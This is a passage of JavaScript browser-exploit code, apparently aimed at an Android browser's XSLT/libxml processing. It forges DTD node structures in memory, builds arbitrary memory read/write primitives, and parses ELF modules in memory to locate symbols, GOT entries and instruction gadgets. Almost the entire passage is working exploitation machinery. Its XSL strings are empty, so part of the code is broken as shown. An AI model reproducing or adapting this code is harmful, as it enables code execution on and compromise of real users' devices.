DTDc1->type = XML_DTD_NODE this.page.write(this.ca + 0x80 + 24, 0); this.page.write(this.ca + 0x80 + 28, this.ea + 8 - 24); // DTDc1->prev = element->name - off(next) this.page.write(this.ca + 0xb0 + 4, 14); // DTDc1->type = XML_DTD_NODE this.page.write(this.ca + 0xb0 + 24, 0); this.page.write(this.ca + 0xb0 + 28, this.ea + 12 - 24); // DTDc1->prev = element->children - off(next) var xsl = '' + '' + ' ' + '' + '' + ' ' + '' + ''; this.processXSL(xsl); this.alive = false; }; // Testing functions // Set the documentElement name XSLTObject.prototype.set_root_name = function (s) { this.page.write(this.na, stringtoarray(s)); }; // Get the documentElement name XSLTObject.prototype.get_root_name = function() { var xsl = '' + '' + '' + '' + '' + '' + ''; var res = this.processXSL(xsl); if (res === undefined) { ERR("XSLTObject.test: cannot process XSLT."); } var data = res.getElementsByTagName("data")[0]; if (data === undefined) { ERR("XSLTObject.test: cannot process XSLT data field."); } return data.childNodes[0].nodeValue; }; // [ Array Memory exploit Object ] ------------------------------------------ // /** * @constructor */ function BufferMemoryObject(arraybuffer) { if (arraybuffer === undefined) { ERR("BufferMemoryObject: an array is required"); } this.arraybuffer = arraybuffer; this.view = new DataView(arraybuffer); } window["BufferMemoryObject"] = BufferMemoryObject; BufferMemoryObject.prototype.write32 = function(addr, content) { this.view.setUint32(addr, content, true); }; BufferMemoryObject.prototype["write32"] = BufferMemoryObject.prototype.write32; BufferMemoryObject.prototype.read32 = function(addr) { return this.view.getUint32(addr, true)>>>0; }; BufferMemoryObject.prototype["read32"] = BufferMemoryObject.prototype.read32; BufferMemoryObject.prototype.write8 = function(addr, content) { this.view.setUint8(addr, content); }; BufferMemoryObject.prototype["write8"] = BufferMemoryObject.prototype.write8; BufferMemoryObject.prototype.read8 = function(addr) { return this.view.getUint8(addr); }; BufferMemoryObject.prototype["read8"] = BufferMemoryObject.prototype.read8; BufferMemoryObject.prototype.write16 = function(addr, content) { this.view.setUint16(addr, content, true); }; BufferMemoryObject.prototype["write16"] = BufferMemoryObject.prototype.write16; BufferMemoryObject.prototype.read16 = function(addr) { return this.view.getUint16(addr, true); }; BufferMemoryObject.prototype["read16"] = BufferMemoryObject.prototype.read16; BufferMemoryObject.prototype.writearray = function(addr, arr) { for (var i = 0; i < arr.length; i++) { this.write8(addr + i, arr[i]); } }; BufferMemoryObject.prototype["writearray"] = BufferMemoryObject.prototype.writearray; BufferMemoryObject.prototype.writestring = function(addr, s) { var arr = stringtoarray(s, true); for (var i = 0; i < arr.length; i++) { this.write8(addr + i, arr[i]); } }; BufferMemoryObject.prototype["writestring"] = BufferMemoryObject.prototype.writestring; // Searches for a given array of 32-bit values in memory (in order), // starting at address addr. BufferMemoryObject.prototype.find32 = function(startaddr, endaddr, arr) { if (startaddr === undefined) { ERR("find32: a start address is required"); } if (endaddr === undefined) { ERR("find32: An end address is required"); } if (arr === undefined) { ERR("find32: An array is required"); } if (typeof(arr) == 'number') { arr = [arr]; } var addr = startaddr; while (addr < endaddr) { var cur = addr; for (var i = 0; i < arr.length; i++) { if (this.read32(cur) != arr[i]) break; if (i == arr.length - 1) { return addr; } cur += 4; } addr += 4; } return null; }; BufferMemoryObject.prototype["find32"] = BufferMemoryObject.prototype.find32; // Searches for a given value or array of 16-bit values in memory (in order), // starting at address addr. BufferMemoryObject.prototype.find16 = function(startaddr, endaddr, arr) { if (startaddr === undefined) { ERR("find16: a start address is required"); } if (endaddr === undefined) { ERR("find16: An end address is required"); } if (arr === undefined) { ERR("find16: An array or value is required"); } if (typeof(arr) == 'number') { arr = [arr]; } var addr = startaddr; while (addr < endaddr) { var cur = addr; for (var i = 0; i < arr.length; i++) { if (this.read16(cur) != arr[i]) break; if (i == arr.length - 1) { return addr; } cur += 2; } addr += 2; } return null; }; BufferMemoryObject.prototype["find16"] = BufferMemoryObject.prototype.find16; // Given an address inside an executable section of a module, goes backwards // to find the ELF header of that module and returns the base address. BufferMemoryObject.prototype.findimagebase = function (addr) { addr = (addr & 0xfffff000)>>>0; while (true) { // 0x7f 'E' 'L' 'F' 0x01 0x01 if ((this.read32(addr) == 0x464c457f) && (this.read16(addr + 4) == 0x0101)) { break; } addr -= 0x1000; } return addr; }; BufferMemoryObject.prototype["findimagebase"] = BufferMemoryObject.prototype.findimagebase; // Reads a null-terminated ASCII string BufferMemoryObject.prototype.readstring = function (addr) { var arr = []; var b; while (true) { b = this.read8(addr); if (b == 0) { break; } arr.push(b); addr++; } return arraytostring(arr); }; BufferMemoryObject.prototype["readstring"] = BufferMemoryObject.prototype.readstring; // [ ELF handling object ] -------------------------------------------------- // /** * @constructor */ function ELFObject(addr, memobj) { if (addr === undefined) { ERR("ELFObject: an address is required"); } if (memobj === undefined) { ERR("ELFObject: a memory object is required"); } this.addr = addr; this.memobj = memobj; INFO("--- ELF data ---"); this.initsymtab(); this.readgot(); INFO("--- ELF read ---"); } window["ELFObject"] = ELFObject; ELFObject.prototype.initsymtab = function () { var phdr = this.addr + this.memobj.read32(this.addr + 28); var phnum = this.memobj.read16(this.addr + 44); var curhdr = phdr; var p_type; this.dynamic = null; // this.size is the size of the executable segment where the // elf header resides. this.size = null; for (var i = 0; i < phnum; i++) { p_type = this.memobj.read32(curhdr); if (p_type == 2) { // PT_DYNAMIC this.dynamic = this.addr + this.memobj.read32(curhdr + 8); } if (p_type == 1) { // PT_LOAD var p_flags = this.memobj.read32(curhdr + 24); if (p_flags == 5) { // PF_X | PF_R var p_vaddr = this.memobj.read32(curhdr + 8); var p_memsz = this.memobj.read32(curhdr + 20); // INFO("ELF: found PT_LOAD (p_vaddr = " // + p_vaddr.toString(16) + " p_memsz = " // + p_memsz.toString(16) + ")"); if (p_vaddr == 0x0) { this.size = p_memsz; } } } if (this.dynamic !== null && this.size !== null) break; curhdr += 32; } if (this.dynamic === null) { ERR("ELFObject: cannot find phdr DYNAMIC"); } if (this.size === null) { ERR("ELFObject: cannot find phdr LOAD"); } var curdyn = this.dynamic; var tagtable = { 2: 'pltrelsz', // DT_PLTRELSZ 4: 'hashtab', // DT_HASH 5: 'strtab', // DT_STRTAB 6: 'symtab', // DT_SYMTAB 23: 'jmprel' // DT_JMPREL }; this.dyntable = {}; var tag, tagname; for (tag in tagtable) { this.dyntable[tagtable[tag]] = null; } while (true) { tag = this.memobj.read32(curdyn); if (tag == 0) { // DT_NULL break; } if (tag in tagtable) { this.dyntable[tagtable[tag]] = this.memobj.read32(curdyn + 4); } curdyn += 8; var end = true; for (tagname in this.dyntable) { if (this.dyntable[tagname] === null) { end = false; break; } } if (end === false) { continue; } break; } for (tagname in this.dyntable) { if (this.dyntable[tagname] === null) { ERR("ELFObject: Couldn't get " + tagname + " from DYNAMIC"); } } this.dyntable['strtab'] += this.addr; this.dyntable['hashtab'] += this.addr; this.dyntable['symtab'] += this.addr; this.dyntable['jmprel'] += this.addr; for (tagname in this.dyntable) { INFO(" " + tagname + " = " + this.dyntable[tagname].toString(16)); } }; ELFObject.prototype.findgadget16 = function(arr, startoff) { if (startoff === undefined) { startoff = 0; } return this.memobj.find16(this.addr + startoff, this.addr + this.size, arr); }; ELFObject.prototype.findstring = function(s, node, startoff) { if (s === undefined) { ERR("findstring: a string is required"); } if (node === undefined) { ERR("findstring: a node is required"); } if (startoff === undefined) { startoff = 0; } // This assignment is necessary because v8 appears to be caching // the nodeValue length on some phones (no idea why or when this happens) var random = Math.floor((Math.random() * 100000) + 1); node.obj.nodeValue = "ELFObject_findstring_" + random; var m_data = this.memobj.read32(node.addr + node.dataoffset); var oldaddr = this.memobj.read32(m_data + 8); var oldlen = this.memobj.read32(m_data + 4); this.memobj.write32(m_data + 8, this.addr); this.memobj.write32(m_data + 4, this.size/2); var startindex = startoff/2; var index = node.obj.nodeValue.indexOf(s, startindex); this.memobj.write32(m_data + 8, oldaddr); this.memobj.write32(m_data + 4, oldlen); if (index == -1) return null; return this.addr + index*2; }; ELFObject.prototype.readgot = function () { this.got = {}; var max = this.dyntable['pltrelsz'] / 8; if (ENABLE_DEBUG) { INFO(" GOT = " + (this.addr + this.memobj.read32(this.dyntable['jmprel'])).toString(16)); } for (var i = 0; i < max; i++) { var rel = this.memobj.read32(this.addr + this.memobj.read32(this.dyntable['jmprel'] + (8 * i))); var r_info = this.memobj.read32(this.dyntable['jmprel'] + (i * 8) + 4); var index = r_info >>> 8; this.got[index] = rel; } }; ELFObject.prototype.dumpjmprel = function () { var table = []; var max = this.dyntable['pltrelsz'] / 8; for (var i = 0; i < max; i++) { var rel = this.memobj.read32(this.addr + this.memobj.read32(this.dyntable['jmprel'] + (8 * i))); var r_info = this.memobj.read32(this.dyntable['jmprel'] + (i * 8) + 4); var index = r_info >>> 8; var name = this.memobj.read32(this.dyntable['symtab'] + (index * 16)); name = this.memobj.readstring(name + this.dyntable['strtab']); INFO(rel.toString(16) + " : " + name); } }; // Finds a relocation address by name. // Returns the address on success, null otherwise ELFObject.prototype.findreloc = function(name) { var index = this.findindex(name); if (index === null) return null; return this.got[index]; }; ELFObject.prototype["findreloc"] = ELFObject.prototype.findreloc; // Finds a symbol value by name. // For imported symbols the value will be 0. Use findreloc instead. ELFObject.prototype.findsymbol = function(name) { var index = this.findindex(name); if (index === null) return null; return this.memobj.read32(this.dyntable['symtab'] + (index * 16) + 4) + this.addr; }; ELFObject.prototype.requiresymbol = function(name) { var sym = this.findsymbol(name); if (sym === undefined || sym === 0) { ERR("Cannot find required symbol " + name); } return sym; }; ELFObject.prototype["requiresymbol"] = ELFObject.prototype.requiresymbol; // Finds a symbol index in the symbol table ELFObject.prototype.findindex = function(name) { if (this.hashtab === undefined) { this.hashtab = {}; this.hashtab.addr = this.dyntable['hashtab']; this.hashtab.nbucket = this.memobj.read32(this.hashtab.addr); this.hashtab.nchain = this.memobj.read32(this.hashtab.addr + 4); this.hashtab.bucket = this.hashtab.addr + 8; this.hashtab.chain = this.hashtab.addr + 8 + (4 * this.hashtab.nbucket); } var hash = this.hash(name); var index = this.memobj.read32(this.hashtab.bucket + (hash%this.hashtab.nbucket)*4); var s; while(true) { s = this.memobj.read32(this.dyntable['symtab'] + (index * 16)); if (s == 0) { return null; } s = this.memobj.readstring(s + this.dyntable['strtab']); if (s == name) { return index; } index = this.memobj.read32(this.hashtab.chain + (index * 4)); if (index == 0) { return null; } } }; ELFObject.prototype.hash = function(s) { if (s === undefined) { ERR("ELFObject.hash: a string is required"); } var b32 = function (n) { return ((n>>>0) & 0xffffffff)>>>0; }; var h = 0; var g, c; for (var i = 0; i < s.length; i++) { h = b32(b32(h << 4) + s.charCodeAt(i)); g = b32(h & 0xf0000000); if (g !== 0) { h = b32(h ^ b32(g >>> 24)); } h = b32(h & b32(g ^ 0xffffffff)); } return h; }; .